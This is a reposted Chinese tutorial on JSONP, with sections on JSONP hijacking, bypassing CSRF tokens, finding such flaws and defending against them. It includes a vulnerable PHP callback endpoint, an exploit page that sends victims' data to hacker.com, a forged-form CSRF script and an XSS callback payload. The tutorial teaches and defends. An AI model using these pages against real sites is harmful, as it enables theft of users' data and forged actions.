iis服务器助手广告广告
返回顶部
首页 > 资讯 > 前端开发 > JavaScript >jsonp的简单介绍以及其安全风险
  • 135
分享到

jsonp的简单介绍以及其安全风险

2024-04-02 19:04:59 135人浏览 泡泡鱼
摘要

目录JSONP介绍jsONP劫持利用JSONP绕过token防护进行csrf攻击JSONP劫持挖掘与防御参考总结JSONP介绍 说起跨域请求资源的方法,最常见的方法是JSONP/CO

JSONP介绍

说起跨域请求资源的方法,最常见的方法是JSONP/CORS。下面以具体的例子介绍一下JSONP的工作原理。

JSONP全称是JSON with Padding ,是基于JSON格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了HTML里script元素标签没有跨域限制

JSONP原理就是动态插入带有跨域url的script标签,然后调用回调函数,把我们需要的json数据作为参数传入,通过一些逻辑把数据显示在页面上。

比如通过script访问Http://www.test.com/index.html?jsonpcallback=callback, 执行完script后,会调用callback函数,参数就是获取到的数据。

原理很简单,在本地复现一下,首先新建callback.PHP:

<!-- callback.php -->

<?php
    header('Content-type: application/json');
    $callback = $_GET["callback"];
    //json数据
    $json_data = '{"customername1":"user1","passWord":"12345678"}';
    //输出jsonp格式的数据
    echo $callback . "(" . $json_data . ")";
?>

然后新建test.html:

<!-- test.html -->

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    alert(obj["password"]);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/callback.php?callback=hehehe"></script>
</body>
</html>

我们访问test.html,页面会执行script,请求http://localhost/callback.php?callback=hehehe,然后将请求的内容作为参数,执行hehehe函数,hehehe函数将请求的内容alert出来。最终的结果如下

这样我们就实现了通过js操作跨域请求到的资源,绕过了同源策略。

但是伴随着业务的发展总会出现安全问题,JSONP使用不当也会造成很多安全问题。

JSONP劫持

对于JSONP传输数据,正常的业务是用户在B域名下请求A域名下的数据,然后进行进一步操作。

但是对A域名的请求一般都需要身份验证,hacker怎么去获取到这些信息呢,我们可以自己构造一个页面,然后诱惑用户去点击,在这个页面里,我们去请求A域名资源,然后回调函数将请求到的资源发回到hacker服务器上。

没错JSONP劫持类似于CSRF漏洞,步骤大概如下图(来自参考文章1)所示:

利用代码如下所示:

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    var myFORM = document.createElement("form");
    myForm.action="http://hacker.com/redirect.php";
    myForm.method = "GET";  
    for ( var k in obj) {  
        var myInput = document.createElement("input");  
        myInput.setAttribute("name", k);  
        myInput.setAttribute("value", obj[k]);  
        myForm.appendChild(myInput);  
    }  
    document.body.appendChild(myForm);  
    myForm.submit();  
    document.body.removeChild(myForm);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/callback.php?callback=hehehe"></script>
</body>
</html>

诱惑用户访问此html,会以用户的身份访问http://localhost/callback.php?callback=hehehe,拿到敏感数据,然后执行hehehe函数,将数据发送给http://hacker.com/redirect.php。抓包可以拦截到如下请求包:

GET /redirect.php?customername1=user1&password=12345678 HTTP/1.1
Host: hacker.com
User-Agent: Mozilla/5.0 (windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.133.136.120/test.html
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

hacker只需要在redirect.php里,将数据保存下来,然后重定向到baidu.com,堪称一次完美的JSONP劫持。

利用JSONP绕过token防护进行csrf攻击

具体的实例可以看看参考文章2,3。

通过上面例子,我们知道JSONP可以获取敏感的数据,在某些情况下,还可以利用JSONP劫持绕过token限制完成csrf攻击。

假设有个场景是这样:服务端判断接收到的请求包,如果含有callback参数就返回JSONP格式的数据,否则返回正常页面。代码如下:test.php

<!-- callback.php -->

<?php
    header('Content-type: application/json');
    //json数据
    $json_data = '{"customername1":"user1","password":"12345678"}';
    if(isset($_GET["callback"])){
        $callback = $_GET["callback"];
        //如果含有callback参数,输出jsonp格式的数据
        echo $callback . "(" . $json_data . ")";
    }else{
        echo $json_data;
    }
?>

对于场景,如果存在JSONP劫持劫持,我们就可以获取到页面中的内容,提取出csrf_token,然后提交表单,造成csrf漏洞。示例利用代码如下(来自参考文章2):

<html>
<head>
<title>test</title>
<meta charset="utf-8">
</head>
<body>
<div id="test"></div>
<script type="text/javascript">
function test(obj){
    // 获取对象中的属性值
    var content = obj['html']
    // 正则匹配出参数值
    var token=content.match('token = "(.*?)"')[1];
    // 添加表单节点
    var parent=document.getElementById("test");
    var child=document.createElement("form");
    child.method="POST";
    child.action="http://vuln.com/del.html";
    child.id="test1"
    parent.appendChild(child);
    var parent_1=document.getElementById("test1");
    var child_1=document.createElement("input");
    child_1.type="hidden";child_1.name="token";child_1.value=token;
    var child_2=document.createElement("input");
    child_2.type="submit";
    parent_1.appendChild(child_1);
    parent_1.appendChild(child_2);
}
</script>
<script type="text/javascript" src="http://vuln.com/caozuo.html?htmlcallback=test"></script>
</body>
</html>

htmlcallback返回一个对象obj,以该对象作为参数传入test函数,操作对象中属性名为html的值,正则匹配出token,再加入表单,自动提交表单完成操作,用户点击该攻击页面即收到csrf攻击。

JSONP劫持挖掘与防御

对于漏洞挖掘,我们首先需要尽可能的找到所有的接口,尤其是返回数据格式是JSONP的接口。(可以在数据包中检索关键词callback json jsonp email等,也可以加上callback参数,观察返回值是否变化)。

找到接口之后,还需要返回值包含敏感信息,并且能被不同的域的页面去请求获取(也就是是否存在refer限制,实际上,如果接口存在refer的限制,也是有可能被绕过的,计划以后的文章中再说)

对于JSONP劫持的防御,其实类似于csrf的防御。以下来源于参考文章4:

  • 限制来源refer
  • 按照JSON格式标准输出(设置Content-Type : application/json; charset=utf-8),预防http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>形式的xss
  • 过滤callback函数名以及JSON数据输出,预防xss

参考

  • JSONP 劫持原理与挖掘方法
  • JSONP绕过CSRF防护token
  • 分享一个jsonp劫持造成的新浪某社区CSRF蠕虫
  • JSONP 安全攻防技术

总结

到此这篇关于jsonp简单介绍以及其安全风险的文章就介绍到这了,更多相关jsonp安全风险内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: jsonp的简单介绍以及其安全风险

本文链接: https://www.lsjlt.com/news/163372.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • jsonp的简单介绍以及其安全风险
    目录JSONP介绍JSONP劫持利用JSONP绕过token防护进行csrf攻击JSONP劫持挖掘与防御参考总结JSONP介绍 说起跨域请求资源的方法,最常见的方法是JSONP/CO...
    99+
    2024-04-02
  • MinIO的介绍以及简单的使用
    什么是MinIO MinIO是在GUN Affero通用公共许可证 v3.0 下发布的高性能对象存储.他与AmazonS3云存储服务API兼容.使用MinIO为机器学习,分析和应用程序数据工作负载构建高性能基础架构. MinIO是一个高...
    99+
    2023-10-26
    java Powered by 金山文档
  • 简单介绍golang的需求及其优越性
    随着互联网技术的不断发展,编程语言也在逐渐升级迭代。其中,golang (Go语言) 成为了近年来备受瞩目的一种新型编程语言。此文将简单介绍golang的需求及其优越性。高并发需求随着互联网行业的高速发展,对于高并发处理的需求也急剧增加。而...
    99+
    2023-05-14
  • Shiro的登录流程以及Realm的简单介绍
    本篇内容介绍了“Shiro的登录流程以及Realm的简单介绍”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成! 登录流程是什么样的首先...
    99+
    2023-06-19
  • MySQLShell的介绍以及安装
    目录01 ReplicaSet的架构02 MySQL Shell的介绍以及安装03 MySQL Shell连接数据库并创建ReplicaSet01 ReplicaSet的架...
    99+
    2024-04-02
  • redis简单介绍及安装使用小结
    一:redis介绍 Redis和Memcached类似,也属于k-v数据存储 Redis官网redis.io, 当前最新稳定版4.0.1 支持更多value类型,除了和string外,还支持hash、li...
    99+
    2024-04-02
  • 简单介绍SORT跟踪算法及其Python实现示例
    SORT(Simple Online and Realtime Tracking)是一种基于卡尔曼滤波的目标跟踪算法,它可以在实时场景中对移动目标进行鲁棒跟踪。SORT算法最初是由Alex Bewley等人在2016年提出的,它...
    99+
    2024-01-24
    机器学习 算法的概念
  • XpmJS的介绍以及安装过程
    XpmJS的介绍以及安装过程,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。一、XpmJS 是啥XpmJS可以链接任何云端资源,为小程序、移动应用提供云资源通道和后端能力。降...
    99+
    2023-06-19
  • 数据库之SQL注入原理以及过程的简单介绍
    1、产生SQL注入原因 开发代码的时候没有全面考虑到网络安全性,特别是在用户交互时,没有考虑到用户提交的信息中可能破坏数据库,没有对输入的数据进行合法的过滤。SQL 注入过程目的性是...
    99+
    2024-04-02
  • NoSQL数据库的简单介绍以及redis持久化数据服务
    本篇内容介绍了“NoSQL数据库的简单介绍以及redis持久化数据服务”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够...
    99+
    2024-04-02
  • py2exe的简介以及安装和用法
    本篇内容主要讲解“py2exe的简介以及安装和用法”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“py2exe的简介以及安装和用法”吧!一、简介 py2exe是一个将python脚本转换成wind...
    99+
    2023-06-17
  • NodeJS的简介以及下载和安装
    本章节会带大家下载并安装NodeJs 以及简单的入门,配有超详细的图片,一步步带大家进行下载与安装 NodeJs简介关于前端与后端Node是什么?为什么要学习NodeNodeJS的优点: NodeJS的下载与安装NodeJS的下...
    99+
    2023-08-30
    node.js 后端 js es6 ecmascript 开发语言
  • 阿里云扫描服务器的安全策略及风险防范
    简介:本文将详细探讨如何在阿里云服务器上实施安全扫描策略,以及如何有效防止扫描风险,确保服务器安全。 在互联网时代,服务器的安全问题越来越受到关注。随着云计算的普及,越来越多的企业和个人选择在阿里云上搭建服务器。然而,这也意味着服务器的安全...
    99+
    2024-01-25
    阿里 安全策略 风险防范
  • pycocotools介绍以及在windows10下的安装过程
    目录前言pycocotools库的介绍pycocotools库的安装pycocotools安装失败 compiler_compat/ld项目场景问题描述原因分析解决方案总结前言 最近...
    99+
    2023-02-22
    pycocotools介绍 windows10下安装pycocotools pycocotools安装
  • mongodb的介绍以及安装用法是怎样的
    本篇文章为大家展示了mongodb的介绍以及安装方法,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。一、mongodb的介绍1.什么是MongoDBMongoDB是由...
    99+
    2024-04-02
  • Java核心类库String的简单介绍及常用方法
    本篇内容介绍了“Java核心类库String的简单介绍及常用方法”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!目录一、 简介零碎知识点字符串...
    99+
    2023-06-20
  • 详解python解释器安装以及简单的py
    1、首先要有一个python解释器,如果不知道在哪里下载的话,大家可以去我的博客里下载,免费的。安装很简单,我已经安装过了就不给大家演示了。2、下图是安装完成之后的3、接下来是配置系统环境变量,大家可以看我的上一篇博客是如何配置系统环境变量...
    99+
    2023-01-31
    详解 简单 python
  • 微信小程序 ——入门介绍及简单的小程序编写
    14天阅读挑战赛自己决定的事情,就要不动声色的一往直前! 目录 一、小程序入门 1.1 什么是小程序 1.2 小程序的优点 1.3 小程序注册 1.4 安装开发工具 1.5 创建第一个小程序 二、小程序目录结构及入门案例 2.1 目录结构...
    99+
    2023-10-18
    java 微信小程序 小程序
  • 安全漏洞XSS、CSRF、SQL注入以及DDOS攻击的介绍和应对措施
    本篇内容介绍了“安全漏洞XSS、CSRF、SQL注入以及DDOS攻击的介绍和应对措施”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!0 ...
    99+
    2023-06-17
  • 【MySQL新手入门系列五】:MySQL的高级特性简介及MySQL的安全简介
    前面我们已经大致讲了一下mysql的安装等介绍,MySQL 中的“新增、删除与修改”操作。 MySQL 作为一款业界领先的数据库管理系统,具备许多高级特性,本文将重点介绍MySQL中的索引、视图、存储过程、触发器和事务处理。 【MySQL新...
    99+
    2023-08-17
    mysql 安全 数据库
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作